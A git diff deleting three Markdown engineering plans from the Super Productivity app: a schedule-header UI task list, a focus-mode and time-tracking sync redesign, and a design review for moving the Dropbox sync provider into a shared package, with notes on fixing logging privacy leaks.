- -```ts -isViewingToday = computed(() => { - if (this._selectedDate() === null) return true; - const todayStr = this._todayDateStr(); - return todayStr ? this.daysToShow().includes(todayStr) : false; -}); -``` - -**Step 4:** Run tests and file lint: - -```bash -npm run test:file src/app/features/schedule/schedule/schedule.component.spec.ts -npm run checkFile src/app/features/schedule/schedule/schedule.component.ts -``` - -**Step 5: Commit:** - -```bash -git add src/app/features/schedule/schedule/schedule.component.ts src/app/features/schedule/schedule/schedule.component.spec.ts -git commit -m "feat(schedule): base isViewingToday on visible range containing today" -``` - ---- - -## Task 4: Add `headerTitle` computed signal - -**Files:** -- Modify: `src/app/features/schedule/schedule/schedule.component.ts` - -**Step 1: Write a test first** in `schedule.component.spec.ts`, near the other computeds: - -```ts -describe('headerTitle computed', () => { - it('returns week label + range in week view', () => { - mockLayoutService.selectedTimeView.set('week'); - mockScheduleService.getDaysToShow.and.returnValue([ - '2026-04-20', '2026-04-21', '2026-04-22', '2026-04-23', - '2026-04-24', '2026-04-25', '2026-04-26', - ]); - fixture.detectChanges(); - // Format is locale-dependent; assert structure - const title = component.headerTitle(); - expect(title).toMatch(/^Week 17 · .+ – .+$/); - }); - - it('returns month + year in month view', () => { - mockLayoutService.selectedTimeView.set('month'); - const days = Array.from({ length: 35 }, (_, i) => { - const d = new Date(2026, 3, 1 + i); - return d.toISOString().split('T')[0]; - }); - mockScheduleService.getMonthDaysToShow.and.returnValue(days); - fixture.detectChanges(); - expect(component.headerTitle()).toMatch(/April\s+2026/); - }); -}); -``` - -Run: expect failure (`headerTitle` does not exist). - -```bash -npm run test:file src/app/features/schedule/schedule/schedule.component.spec.ts -``` - -**Step 2: Implement in `schedule.component.ts`:** - -Add imports at top of the file: - -```ts -import { formatDate } from '@angular/common'; -import { getWeekNumber } from '../../../util/get-week-number'; -import { TranslateService } from '@ngx-translate/core'; -``` - -Inject the DateTimeFormatService and TranslateService near the other inject() calls: - -```ts -private _dateTimeFormatService = inject(DateTimeFormatService); -private _translate = inject(TranslateService); -``` - -Add imports for `DateTimeFormatService`: - -```ts -import { DateTimeFormatService } from '../../../core/date-time-format/date-time-format.service'; -``` - -Add the computed below `weeksToShow`: - -```ts -headerTitle = computed(() => { - const days = this.daysToShow(); - if (!days.length) return ''; - const locale = this._dateTimeFormatService.currentLocale(); - - if (this.isMonthView()) { - // Reference middle of displayed range (matches prior month-title heuristic) - const midIdx = Math.min(14, days.length - 1); - const mid = new Date(days[midIdx]); - return formatDate(mid, 'LLLL yyyy', locale); - } - - const start = new Date(days[0]); - const end = new Date(days[days.length - 1]); - const weekNr = getWeekNumber(start); // ISO (default firstDayOfWeek=1) - const range = `${formatDate(start, 'MMM d', locale)} – ${formatDate(end, 'MMM d', locale)}`; - const label = this._translate.instant(T.F.SCHEDULE.WEEK_LABEL, { nr: weekNr }); - return `${label} · ${range}`; -}); -``` - -**Step 3:** Run tests + lint: - -```bash -npm run test:file src/app/features/schedule/schedule/schedule.component.spec.ts -npm run checkFile src/app/features/schedule/schedule/schedule.component.ts -``` - -**Step 4: Commit:** - -```bash -git add src/app/features/schedule/schedule/schedule.component.ts src/app/features/schedule/schedule/schedule.component.spec.ts -git commit -m "feat(schedule): add headerTitle computed for week/month label" -``` - ---- - -## Task 5: Rework nav template (Today icon left, title between arrows) - -**Files:** -- Modify: `src/app/features/schedule/schedule/schedule.component.html` - -Replace the existing `.schedule-nav-controls` block with the three-region layout: - -```html -
- - -
- - -
{{ headerTitle() }}
- - -
- -
-
-``` - -Remove the `MatButton` import from `schedule.component.ts` (no longer used — only `MatIconButton` remains). Also remove the commented-out `` line at the top. - -**Step 2:** Lint: - -```bash -npm run checkFile src/app/features/schedule/schedule/schedule.component.ts -``` - -**Step 3: Commit:** - -```bash -git add src/app/features/schedule/schedule/schedule.component.html src/app/features/schedule/schedule/schedule.component.ts -git commit -m "feat(schedule): show title between arrows, move today to left icon" -``` - ---- - -## Task 6: Update styles (transparent nav row, centered title with fixed min-width) - -**Files:** -- Modify: `src/app/features/schedule/schedule/schedule.component.scss:49-93` - -Replace the `header` and `.schedule-nav-controls` rules with: - -```scss -header { - display: flex; - flex-direction: column; - position: sticky; - top: 0; - left: 0; - right: 0; - @include extraBorder('-top'); - @include extraBorder('-bottom'); - box-shadow: var(--whiteframe-shadow-1dp); - z-index: 10; - color: var(--text-color); - background: var(--bg-lighter); - padding-right: $schedule-header-scrollbar-padding; -} - -.schedule-nav-controls { - display: grid; - grid-template-columns: 48px 1fr 48px; - align-items: center; - background: transparent; - @include extraBorder('-bottom'); - min-height: 48px; - - .today-btn { - justify-self: start; - } - - .right-spacer { - width: 48px; - } - - .center-group { - display: flex; - align-items: center; - justify-content: center; - gap: var(--s); - min-width: 0; - } - - .title { - font-weight: 600; - font-size: 18px; - text-align: center; - min-width: 260px; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - - @include mq(xs, max) { - font-size: 14px; - min-width: 180px; - } - } - - button { - flex-shrink: 0; - } -} -``` - -**Step 2:** Lint: - -```bash -npm run checkFile src/app/features/schedule/schedule/schedule.component.scss -``` - -**Step 3: Commit:** - -```bash -git add src/app/features/schedule/schedule/schedule.component.scss -git commit -m "style(schedule): transparent nav row, fixed-width centered title" -``` - ---- - -## Task 7: Remove duplicate month-header inside `schedule-month.component` - -**Files:** -- Modify: `src/app/features/schedule/schedule-month/schedule-month.component.html:1-3` -- Modify: `src/app/features/schedule/schedule-month/schedule-month.component.scss:4-35` - -**Step 1:** In the `.html`, delete lines 1-3 (the `
` wrapper and the `.month-title` div). The template should now start directly at the `
`. - -**Step 2:** In the `.scss`, delete the entire `.month-header { … }` block (lines 4-35 in the current file). - -**Step 3:** Lint both files: - -```bash -npm run checkFile src/app/features/schedule/schedule-month/schedule-month.component.scss -``` -(No .ts change needed; the html is checked via lint+prettier via `npm run prettier` / `npm run lint` but has no `checkFile` target — lint runs already via the spec & the parent TS.) - -**Step 4:** Also check that `schedule-month.component.spec.ts` doesn't assert on the `.month-header`: - -```bash -grep -n "month-header\|month-title" src/app/features/schedule/schedule-month/schedule-month.component.spec.ts -``` - -Remove any such assertions if they exist (update test to assert `headerTitle` handles month view from `ScheduleComponent` instead — but only if tests actually reference it). - -**Step 5: Commit:** - -```bash -git add src/app/features/schedule/schedule-month/schedule-month.component.html src/app/features/schedule/schedule-month/schedule-month.component.scss -git commit -m "refactor(schedule): drop redundant month-header (now in shared nav)" -``` - ---- - -## Task 8: Final verification - -**Step 1:** Run the full schedule test suite: - -```bash -npm run test:file src/app/features/schedule/schedule.service.spec.ts -npm run test:file src/app/features/schedule/schedule/schedule.component.spec.ts -npm run test:file src/app/features/schedule/schedule-month/schedule-month.component.spec.ts -``` - -**Step 2:** Run lint on all modified files: - -```bash -npm run checkFile src/app/features/schedule/schedule.service.ts -npm run checkFile src/app/features/schedule/schedule/schedule.component.ts -npm run checkFile src/app/features/schedule/schedule/schedule.component.scss -npm run checkFile src/app/features/schedule/schedule-month/schedule-month.component.scss -npm run checkFile src/app/t.const.ts -``` - -**Step 3:** Manually verify in the dev server: - -```bash -npm run startFrontend -``` - -- Week view today: should show `Week {nr} · {start} – {end}`, with today highlighted somewhere inside the range (not always on the left). -- Click "next" → advances to the following calendar week. -- Click the "today" icon on the left → resets to current week, icon becomes disabled. -- Switch to month view → title becomes `April 2026`, the inner month title row is gone. -- Nav row blends into the sticky header (transparent), arrows don't jump as title changes. - -**Step 4: No final commit needed** unless manual QA surfaces issues. If it does, fix + commit under a clear message (e.g. `fix(schedule): ...`). diff --git a/docs/plans/2026-04-29-focus-mode-time-tracking-sync.md b/docs/plans/2026-04-29-focus-mode-time-tracking-sync.md deleted file mode 100644 index 854ef4e9e7..0000000000 --- a/docs/plans/2026-04-29-focus-mode-time-tracking-sync.md +++ /dev/null @@ -1,153 +0,0 @@ -# Sync Time Tracking with Focus Mode — Concept Redesign - -## Context - -GitHub Discussion [#6781](https://github.com/super-productivity/super-productivity/discussions/6781) polled Pomodoro+time-tracking users on whether they sync the two; the result is ~100% yes. The current default `focusMode.isSyncSessionWithTracking: false` is therefore wrong for the population that uses both. Worse, the unsynced mode has user-visible defects (issue [#6731](https://github.com/super-productivity/super-productivity/issues/6731): pausing focus does NOT pause tracking — users call this a bug, not a config trade-off). Issue [#5737](https://github.com/super-productivity/super-productivity/issues/5737) records a long-time user lost the *old* simple workflow where pressing the tracking play button silently started a Pomodoro alongside it. Issue [#7112](https://github.com/super-productivity/super-productivity/issues/7112) proposes the replacement settings. - -Time tracking and focus mode are independent features by default — pressing the play button just tracks time; focus mode is opt-in via F-key or the header focus button. Coupling them is a power-user choice. The redesign keeps that boundary intact while making the coupling, when active, cleaner and more predictable. - -## Goal - -1. **When both features are in use, lifecycles are always synced.** Pause↔pause, stop↔stop, resume↔resume. No user-facing toggle for this. -2. **Provide a single new opt-in for play-button auto-spawn.** Users who want #5737's old workflow flip one toggle. Default off. -3. **Entry point determines surface.** Manual entry (F-key, focus button, context-menu "Focus Session") → overlay. Auto-spawn from the tracking play button → a lean dedicated session indicator (see "Surface for the quiet/auto-spawned session" below). No new setting needed for this — the existing `isOverlayShown` reducer field already supports running a session with the overlay closed. -4. **Tidy the settings UI.** Move incidental flags into a collapsible "Advanced" section. `isPauseTrackingDuringBreak` is advanced; "pause means pause" is the default. - -## Decision summary - -| Today | After | -|---|---| -| `isSyncSessionWithTracking: false` (default) gates 8 effects; "off" mode buggy | Flag removed. Sync is always on. The 8 effects lose the gate. | -| Play button → tracks time; if sync on, also opens overlay | Play button → tracks time. If new opt-in `autoStartFocusOnPlay: true`, also spawns a focus session shown via a quiet header indicator (never overlay). | -| `isPauseTrackingDuringBreak` (default true) sits next to other flags in flat form | Default unchanged. Flag moved into a collapsed "Advanced" section. | -| `isStartInBackground` and `isSkipPreparation` apply to all entry points | Apply only to **manual** entry (F / focus button / context menu). Auto-spawn ignores them: indicator-only, no rocket. Both moved to "Advanced". | -| `isManualBreakStart` declared in form, missing from defaults | Add `false` default. Move to "Advanced". | - -## Behavior changes — concrete - -### Always-sync (when both are running) -The 8 effects in `src/app/features/focus-mode/store/focus-mode.effects.ts` (`autoShowOverlay$`, `syncTrackingStartToSession$`, `syncTrackingStopToSession$`, `syncSessionPauseToTracking$`, `syncSessionResumeToTracking$`, `syncSessionStartToTracking$`, `stopTrackingOnSessionEnd$`, `stopTrackingOnExitBreakToPlanning$`) lose the `cfg?.isSyncSessionWithTracking` filter. Their other gates (`isFocusModeEnabled`, screen state, etc.) remain. This fixes [#6731](https://github.com/super-productivity/super-productivity/issues/6731) by construction. - -### Auto-spawn on play -- New flag: `focusMode.autoStartFocusOnPlay: boolean`, default `false`. -- New effect, sibling to the existing sync effects: when `currentTaskId$` transitions `null → id` AND `autoStartFocusOnPlay` AND `isFocusModeEnabled` AND no session is currently running → dispatch `startFocusSession({ duration })`. **Do not** dispatch `showFocusOverlay()`. -- F-key during a quiet/auto-spawned session → existing `showFocusOverlay()` dispatch promotes to overlay (free). -- Closing the overlay during a session → returns to the quiet indicator (free; existing behavior — session keeps running, overlay just hides). - -### Surface for the quiet/auto-spawned session - -The existing `updateBanner$` effect (lines ~829-978) reuses the global `BannerService` (`BannerId.FocusMode`). That's the wrong surface for an ongoing session: - -- The focus-mode banner sits in the same slot as transient banners (`TakeABreak`, `Offline`, `CalendarEvent`, etc.) — see `src/app/core/banner/banner.model.ts:3-31`. -- `BannerId.FocusMode` is priority `1`, lowest in the system. Higher-priority banners (`TakeABreak: 6`, `CalendarEvent: 5`, …) hide it entirely — meaning during a session the user can lose the focus controls + countdown when other banners arrive. -- The banner is visually heavy; an always-on session indicator should be lean. - -**Proposal: replace the banner usage with a dedicated lightweight session indicator.** - -The existing header buttons are already the right anchors. Decorate one of them when a session is active so it doubles as the indicator — no new component, no banner pressure on layout. Two anchor candidates: - -- **Anchor A — `PlayButtonComponent`** (`src/app/core-ui/main-header/play-button/play-button.component.ts`). Already next to the current task and already shows a progress ring; adding a compact countdown is the smallest visual delta. Fits "what's running on the current task" semantics. -- **Anchor B — `FocusButtonComponent`** (`src/app/core-ui/main-header/focus-button/focus-button.component.ts`). The existing manual entry point; lighting it up with the running countdown keeps responsibility cleanly split: play = tracking, focus = focus session. - -**Interaction pattern (applies to either anchor)**: when a session is active, the button itself shows the countdown inline. **Hovering reveals a small row of controls below it** (pause/resume, skip break, end session, and a click-to-open-overlay affordance). **On touch / mobile** the controls are always visible (no hover state). Click the button itself → `showFocusOverlay()` to promote to the rich UI. Closing the overlay returns to this compact indicator state. - -This pattern keeps the resting state lean (one button, slightly augmented), surfaces the controls only when needed on desktop, and doesn't degrade on mobile. It also avoids the banner system entirely — no priority conflict with `TakeABreak`/`Offline`/etc., and no layout displacement when a session starts. - -Banner usage (`BannerId.FocusMode`, the `updateBanner$` effect) is removed entirely. A future iteration could add a closed-overlay "open me" hint as a transient banner, but only on session-start, not for the duration. - -**Open for community input**: which anchor (play button vs focus button). The interaction (inline countdown + hover-popover controls + always-shown on mobile) is the same either way. - -### `autoShowOverlay$` redesign -Today this effect fires whenever `currentTaskId$` changes and the gates pass — meaning play-button presses indirectly trigger the overlay. After: **delete the effect entirely**. The overlay opens only via explicit `showFocusOverlay()` dispatches (F-key handler, header focus button, task context menu). This is the cleanest way to enforce "entry point determines surface." - -### Migration -- Existing config with `isSyncSessionWithTracking: true` → migrate to `autoStartFocusOnPlay: true`. Their behavior is largely preserved (auto-spawn still happens), but they now see a quiet header indicator instead of the overlay on auto-spawn. Pressing F still gets them the overlay. Acceptable trade. -- Existing config with `isSyncSessionWithTracking: false` (default-untouched) → migrate to `autoStartFocusOnPlay: false`. No auto-spawn. The only behavior change they perceive is that pause-focus now stops tracking (fixing #6731) — which they already wanted, per the bug report. -- Strip `isSyncSessionWithTracking` from the type so it cannot be re-introduced via stale stored configs. - -## How a focus session is started today (for reference) - -Useful to clarify the mental model: - -- `appFeatures.isFocusModeEnabled` (default `true`) is a permanent feature switch. With it off, focus mode is unavailable entirely. **No "permanent Pomodoro on" setting exists** — there is no toggle that says "I am a Pomodoro user, always run a Pomodoro on my tracked task." -- A focus *session* is always **explicitly started** by the user via one of three entry points: - 1. The `F` keyboard shortcut → `showFocusOverlay()` (`src/app/core-ui/shortcut/shortcut.service.ts:130`). - 2. The header focus button → `showFocusOverlay()` (`src/app/core-ui/main-header/focus-button/focus-button.component.ts:106`). - 3. The task context menu "Focus Session" item → sets the current task and dispatches `showFocusOverlay()` (`task-context-menu-inner.component.ts:341`). -- After the overlay is shown, the user picks/confirms a task, the *mode* (Pomodoro/Flowtime/Countdown) is read from prior state, optional preparation screen runs, and the session begins. -- The selected **mode is persistent** across sessions: stored in `localStorage` under `LS.FOCUS_MODE_MODE`, default `Countdown` if absent (`focus-mode.reducer.ts:15-32`). It is the closest thing to a "Pomodoro switch" — but it lives in the focus-mode UI, not in settings, and only activates once the user explicitly starts a session. - -The new `autoStartFocusOnPlay` toggle becomes the closest thing to a "Pomodoro/focus is always on while I track" switch — exactly what issue #5737 asked for. With it off (default) nothing changes; the three explicit entry points remain the only way to start a session. With it on, pressing the play button on a task is treated as a fourth, implicit entry point — and the session that spawns uses the persistent mode the user last chose. - -## Files to touch - -### Config / model -- `src/app/features/config/global-config.model.ts` — `FocusModeConfig` (around line 231): remove `isSyncSessionWithTracking?`; add `autoStartFocusOnPlay?: boolean`. -- `src/app/features/config/default-global-config.const.ts` (line 93-100): remove old flag, add `autoStartFocusOnPlay: false`, add missing `isManualBreakStart: false`. -- `src/app/features/config/form-cfgs/focus-mode-form.const.ts`: restructure into two-tier form. Primary: `autoStartFocusOnPlay`, `focusModeSound`. Advanced (collapsible — copy pattern from `src/app/features/config/form-cfgs/sync-form.const.ts:13-20`, `type: 'collapsible'` + `props: { syncRole: 'advanced' }`): `isPauseTrackingDuringBreak`, `isStartInBackground`, `isSkipPreparation`, `isManualBreakStart`. -- `src/assets/i18n/en.json`: add labels/help for `autoStartFocusOnPlay` (proposed copy: "Start a focus session when I start tracking a task" — peer-validated against Toggl Track's identical setting). Remove `L_SYNC_SESSION_WITH_TRACKING`. Per CLAUDE.md only edit en.json — other locales are not touched. -- `src/app/t.const.ts`: matching key changes. - -### Effects -- `src/app/features/focus-mode/store/focus-mode.effects.ts`: - - Delete `autoShowOverlay$` (lines 73-91) entirely. - - Delete or repurpose `updateBanner$` (lines ~829-978) — banner-as-session-indicator is being replaced by the dedicated indicator (see surface options A/B above). - - Remove `cfg?.isSyncSessionWithTracking` filter from 7 remaining effects: `syncTrackingStartToSession$`, `syncTrackingStopToSession$`, `syncSessionPauseToTracking$`, `syncSessionResumeToTracking$`, `syncSessionStartToTracking$`, `stopTrackingOnSessionEnd$`, `stopTrackingOnExitBreakToPlanning$`. - - Add `autoStartFocusOnTracking$` effect: drives `currentTaskId$` → `null→id` transition; dispatches `startFocusSession` only when `autoStartFocusOnPlay && isFocusModeEnabled && timer.purpose === null` (no session active). Reuses `FocusModeStrategyFactory` to compute initial duration (same path as `syncTrackingStartToSession$:148-153`). - -### Components -- `src/app/features/focus-mode/focus-mode-main/focus-mode-main.component.ts:190`: replace the `isSyncSessionWithTracking` read in `isPlayButtonDisabled` with the always-coupled equivalent. -- New / extended **session indicator** on whichever anchor we pick: - - **Anchor A**: extend `src/app/core-ui/main-header/play-button/play-button.component.ts` to render an inline countdown when `selectIsSessionRunning` is true and the overlay is hidden, plus a hover-revealed controls row (pause/resume/skip/end/open-overlay). - - **Anchor B**: same treatment on `src/app/core-ui/main-header/focus-button/focus-button.component.ts`. - - Hover row uses CSS `:hover` on desktop; on touch / mobile the row is always visible (use `@media (hover: none)` or an existing platform check). - - Either way, remove `BannerService` calls related to `BannerId.FocusMode` and the `updateBanner$` effect. - -### Migration -- `src/app/op-log/validation/repair-global-config.ts` is currently fully commented out. Either revive it with focusMode-specific repair (strip stale `isSyncSessionWithTracking`; backfill `autoStartFocusOnPlay`) **or** rely on the existing deep-merge against `DEFAULT_GLOBAL_CONFIG` for backfill and add a one-liner that drops the old key. Prefer the second path for minimum surface area; only revive `repair-global-config.ts` if testing reveals defaults aren't merging. - -### Tests -- Update spec files that reference `isSyncSessionWithTracking`: - - `src/app/features/focus-mode/store/focus-mode.effects.spec.ts` - - `src/app/features/focus-mode/store/focus-mode.bug-5875.spec.ts` - - `src/app/features/focus-mode/store/focus-mode.bug-5995.spec.ts` - - `src/app/features/focus-mode/store/focus-mode.bug-6064.spec.ts` - - `src/app/features/focus-mode/store/focus-mode.bug-6575.spec.ts` - - `src/app/features/focus-mode/focus-mode-main/focus-mode-main.component.spec.ts` -- New: `focus-mode.effects.spec.ts` cases for `autoStartFocusOnTracking$` (indicator-only spawn; no double-spawn when session already running; ignores when `autoStartFocusOnPlay: false`). -- New: regression test that pause-focus stops tracking unconditionally (covers #6731). - -## Open for community discussion - -- **Session indicator anchor**: anchor A (play button) or anchor B (focus button). The interaction pattern is fixed: inline countdown on the button, hover-revealed controls row below on desktop, always-visible on mobile. See "Surface for the quiet/auto-spawned session" above. -- **Naming of the new toggle**: `autoStartFocusOnPlay` (internal) and "Start a focus session when I start tracking a task" (label, mirrors Toggl Track's wording almost verbatim) is the current proposal — open to alternatives. - -## Out of scope (explicit) - -- Renaming `isPauseTrackingDuringBreak` → `isContinueTrackingDuringBreak`. Default stays `true` (= "pause means pause"); only the UI placement changes. Inversion is a clean follow-up if desired but not required for this change. -- The second proposed setting from #7112 ("Auto-select task when starting focus mode"). -- First-run onboarding hint introducing `autoStartFocusOnPlay`. -- Mobile-specific defaults. -- Idle-detection interaction with the new always-sync behavior. - -## Risk - -- **Behavior change for users with `isSyncSessionWithTracking: false`**: pause-focus now stops tracking. This was the user-reported bug; intended. Acknowledge in commit message. -- **Behavior change for users with `isSyncSessionWithTracking: true`**: auto-spawn still happens, but produces a quiet header indicator instead of opening the overlay. Users who relied on the overlay popping up on play will need to press F (or click the indicator). Document in CHANGELOG. -- **Banner removal**: any users who relied on the `BannerId.FocusMode` banner (rare — it's only visible when overlay is closed and no higher-priority banner is active) lose it. The session indicator is the replacement. -- **Effects refactor touches 8 sites in one file**. Each gate is locally isolated; risk is medium and well-tested by existing bug-fix specs. -- **Form restructure**: `isManualBreakStart` currently lacks a default; adding one may unblock latent code paths. Verify in tests. - -## Verification - -- `npm run test:file src/app/features/focus-mode/store/focus-mode.effects.spec.ts` — all updated effects specs pass. -- `npm test` — full unit suite green. -- `npm run checkFile` on each modified `.ts` and `.scss`. -- Manual smoke (web `ng serve`): - 1. Fresh config: press play on a task → no indicator, no overlay, time accrues. - 2. Press F → overlay opens with rocket. Press pause → tracking stops. Press resume → tracking resumes. - 3. Stop session via overlay → tracking stops. - 4. Toggle `autoStartFocusOnPlay` on. Press play on a task → header indicator shows countdown, overlay does NOT. Press F → overlay opens (promotes). Close overlay → indicator returns, session continues. - 5. With `autoStartFocusOnPlay` on: pause focus → tracking stops; resume focus → tracking resumes; stop focus → tracking stops. - 6. With `autoStartFocusOnPlay` on and Pomodoro mode: at session end, break starts. Confirm `isPauseTrackingDuringBreak: true` (default) → tracking stops at break-start. Toggle to `false` (advanced) → tracking continues through break. -- E2E: extend `e2e/tests/focus-mode/` (if present) with one auto-spawn flow. diff --git a/docs/plans/2026-05-12-pr5-dropbox-slice.md b/docs/plans/2026-05-12-pr5-dropbox-slice.md deleted file mode 100644 index a7fc88f6f1..0000000000 --- a/docs/plans/2026-05-12-pr5-dropbox-slice.md +++ /dev/null @@ -1,1074 +0,0 @@ -# PR 5 — Dropbox Provider Slice (design doc) - -> For Claude executing this: this is a **design doc for multi-review**, not a -> step-by-step implementation plan. Once the design choices below are -> ratified, rewrite as a TDD plan or execute in commits per the -> "Suggested commit shape" section. - -**Goal.** Move the Dropbox provider (`dropbox.ts` + `dropbox-api.ts` + -specs) plus its supporting error classes and platform utilities into -`@sp/sync-providers`, behind a small set of new package ports. Leave a -thin app-side shim so `sync-providers.factory.ts` keeps working -unchanged. - -**Status.** First four slices of PR 5 have shipped (scaffold, envelope -types, PKCE, native HTTP retry). This is the fifth slice and the -largest by line count and dependency surface. See -`docs/long-term-plans/sync-core-extraction-plan.md` § "Remaining Slice -Plan" item 1 for surrounding context. - ---- - -## Multi-review consensus (2026-05-12) - -Six Claude reviewers (correctness, security, architecture, alternatives, -performance, simplicity) ran in parallel against the original design. -Codex CLI was attempted but failed under the read-only sandbox; results -below reflect Claude-only consensus. - -### Decisions revised after review - -- **Decision 7 (shim form).** Replace `class Dropbox extends -PackageDropbox` with a **factory function** `createDropboxProvider(cfg)` - invoked from `sync-providers.factory.ts` directly. Two reviewers - (Alternatives §5, Simplicity W2) strongly recommended this; one - (Architecture C2) flagged a real type-mismatch defect in the - `extends` form (`id: typeof PROVIDER_ID_DROPBOX` vs - `SyncProviderId.Dropbox`). The factory form removes the shim class - entirely, drops two layers of `as unknown as` casts, and the - `wrappedProvider` precedent already in the codebase uses composition. - See revised Decision 7 below. - -- **Decision 3 (`WebFetchProvider`).** Replace the interface with a - callable factory type: - - ```ts - export type WebFetchFactory = () => typeof fetch; - ``` - - Strong consensus (Architecture, Alternatives W2, Simplicity C1). - Same lazy-resolution semantics, half the surface, no - implementation class needed. - -- **Decision 3 (`ProviderPlatformInfo`).** Expose three booleans rather - than collapsing to one. Architecture reviewer flagged that future - providers (WebDAV native plugin, LocalFile SAF) need to distinguish - "Capacitor native" from "Android WebView shim." Final shape: - - ```ts - export interface ProviderPlatformInfo { - readonly isNativePlatform: boolean; // capacitor || androidWebView - readonly isAndroidWebView: boolean; - readonly isIosNative: boolean; - } - ``` - -- **Decision 4 (`DropboxFileMetadata`).** **Move, not duplicate.** - Grep confirmed only one consumer (`dropbox-api.ts:5`). The - Simplicity reviewer's audit (W1) verified `imex/sync/dropbox/dropbox.model.ts` - has no other importers. Delete it after the move. - -- **Decision 6 (`getTokensFromAuthCode` no-retry).** Add - `maxRetries?: number` to `ExecuteNativeRequestOptions` and call the - retry helper with `maxRetries: 0` from `getTokensFromAuthCode`. - Removes the two-path asymmetry (Alternatives §4). One-line change - in `packages/sync-providers/src/http/native-http-retry.ts`. - -- **Decision 6 (timeouts).** Explicit preservation of both - `NATIVE_REQUEST_READ_TIMEOUT = 120s` (data calls) and - `NATIVE_AUTH_READ_TIMEOUT = 30s` (token refresh + auth-code exchange). - Correctness reviewer W1 caught that the design's example snippet - omitted `readTimeout` and would silently quadruple auth timeouts. - -- **Decision 8 (spec migration).** Three additions: - 1. `TestableDropboxApi` subclass-override pattern (lines 16-29) - **no longer applies** after isNativePlatform moves into injected - `deps.platformInfo`. Specs pass a different `platformInfo` per - test instead. - 2. The "isNativePlatform getter" tests at lines 615-635 test the - getter's existence and should be **deleted**, not migrated. - The field is just injected data; testing its presence is - meaningless. - 3. Inject `delay: vi.fn().mockResolvedValue(undefined)` into - `executeNativeRequestWithRetry` test calls — otherwise the - un-skipped retry tests add up to 36 s of real wall-clock time - (Performance S5). - -- **Decision 8 (PKCE poison-cache test).** The Vitest `Object.defineProperty` - on `globalThis.crypto.subtle` is environment-dependent. Verify in - Vitest's `happy-dom` env; if it fails, the package's existing - `generatePKCECodes` already accepts a `crypto` parameter (per - `packages/sync-providers/src/pkce.ts` exports — confirm), and the - spec should inject a throwing mock instead. - -- **Suggested commit shape — ship errors as a separate PR.** - Strong consensus (Alternatives §7) and reasoning the doc accepts: - the error-class move is the highest-`instanceof`-blast-radius - change, independently valuable to every remaining slice (WebDAV, - SuperSync, LocalFile), and bisects cleanly. **Revised plan: PR 5a - ships errors only; PR 5b ships Dropbox proper.** Slices 2/3/4 of - the larger PR-5 plan can land in any order after 5a, in parallel - if reviewers permit. - -### Decisions affirmed - -- **Decision 1 (Option A for `AdditionalLogErrorBase`).** Five - reviewers affirmed; one (Security W1) preferred Option B. The - Security argument — that catch-site logging is already imperfect, so - the centralized log was load-bearing — is mitigated by the new - audit-and-fix work in Decision 5 below. Going with **Option A** but - pairing it with a comprehensive privacy-test sweep around moved - errors AND fixing the existing call-site leaks now (rather than - preserving them under Option B's safety net). - -- **Decision 5 (`DropboxDeps` 5 fields).** Affirmed. Passing the - whole deps object to `DropboxApi` is fine; it's an internal class. - Architecture W1 suggested a narrower `DropboxApiDeps` interface — - marginal benefit, deferred. - -### New action items from the review - -- **A1. Pre-existing privacy bug at `dropbox.ts:156`** — Security C1 - caught `SyncLog.critical('Dropbox.downloadFile() data', r.data)`, - which logs the entire downloaded user sync blob when it's not a - string. **Fix in the Dropbox-impl PR.** Replace with - `logger.critical('Dropbox.downloadFile got non-string data', { dataType: typeof r.data })`. - -- **A2. `HttpNotOkAPIError.message` includes response body excerpt** - (Security C2). The body excerpt (up to 300 chars) is appended to - `.message`, which then flows through every `SyncLog.critical(..., e)` - catch site. The body excerpt is XML/HTML/JSON error content from the - remote — usually safe, but on corporate proxy interception can - contain reflected request data. **Mitigation in the errors PR:** - keep the extracted body excerpt on a separate `.detail` field; cap - `.message` to `HTTP `. Callers opt in to the - detail. - -- **A3. Expanded logger audit list** (Correctness W3, Security C1). - Add to Decision 5 the following Dropbox call sites that log a raw - error or user-identifying path: - - `dropbox-api.ts:163` — `getMetaData() error for path: ${path}` - - `dropbox-api.ts:259` — `upload() error for path: ${path}` - - `dropbox-api.ts:278` — `remove() error for path: ${path}` - - `dropbox-api.ts:301` — `checkUser() error` + raw `e` - - `dropbox-api.ts:506` — `getTokensFromAuthCode() error` + raw `e` - (CRITICAL: `e` may contain the auth code or verifier on - error-handler rejection) - - `dropbox-api.ts:603` — `_requestNative() error for ${url}` + raw `e` - - `dropbox-api.ts:729` — `_request() error for ${url}` + raw `e` - - Plus the basePath leak: `this._getPath(targetPath) = basePath + targetPath` - is logged whenever an error includes `path`. `basePath` is user-set - (e.g. `/Apps/super-productivity/`). Log only the relative - `targetPath`, not the joined path. Per-site scrub during the - Dropbox-impl PR. - -- **A4. `tryCatchInlineAsync` masks real failures.** Security W4 - flagged that `dropbox-api.ts:251` returns the raw `Response` on - parse failure, which then falls through to `!result.rev` → throws - `NoRevAPIError`. The 429-comment may be stale (rate-limit is handled - upstream in `_handleErrorResponse` before this line, since the - `!response.ok` branch returns first). **Replace `tryCatchInlineAsync(() -=> response.json(), response)` with a defensive `response.json().catch(() => ({} as DropboxFileMetadata))`** - pattern, or delete the wrapper if the 429 comment is confirmed stale. - This is a quality fix shipped alongside the move. - -- **A5. `instanceof` validation under dual ESM/CJS build.** Architecture - C1 flagged that `tsup` emits both `.mjs` and `.js`; Angular's webpack - could load two copies. App-side actually consumes the package via - tsconfig path alias (Correctness C1 — to `packages/sync-providers/src/index.ts` - directly), so the runtime risk is small. Mitigations: - 1. Add `"sideEffects": false` to `packages/sync-providers/package.json` - to unlock tree-shaking through the barrel (Performance W2). - 2. Vitest specs in `packages/sync-providers/tests/` must import from - `../src` (relative), not `@sp/sync-providers` (Correctness C1). - 3. Add a one-shot integration spec in the errors PR that imports - the same error class from both `@sp/sync-providers` and - `src/app/op-log/core/errors/sync-errors` and asserts `===` on - the constructors. - -- **A6. Add `_check` type assertion** to bind `PROVIDER_ID_DROPBOX` - to `SyncProviderId.Dropbox` (Architecture S2): - ```ts - // in the shim, after the import - const _idCheck: SyncProviderId.Dropbox = PROVIDER_ID_DROPBOX; - ``` - Zero runtime cost; breaks the build if either side drifts. - -### Open question resolutions - -1. ✅ Option A. Pair with privacy test sweep (per A1–A3). -2. ✅ Move-not-duplicate (Decision 4 revised). -3. ✅ Split into three booleans (Decision 3 revised). -4. ✅ Audit list expanded per A3; also scrub `requestUrl` always - (host + path only). -5. ✅ Pass full `DropboxDeps` to `DropboxApi`; narrower interface - deferred. -6. ✅ One-line comment at the call site; no type-level signal. - -### Reviewer disagreement (note for execution) - -- Security wanted Option B for 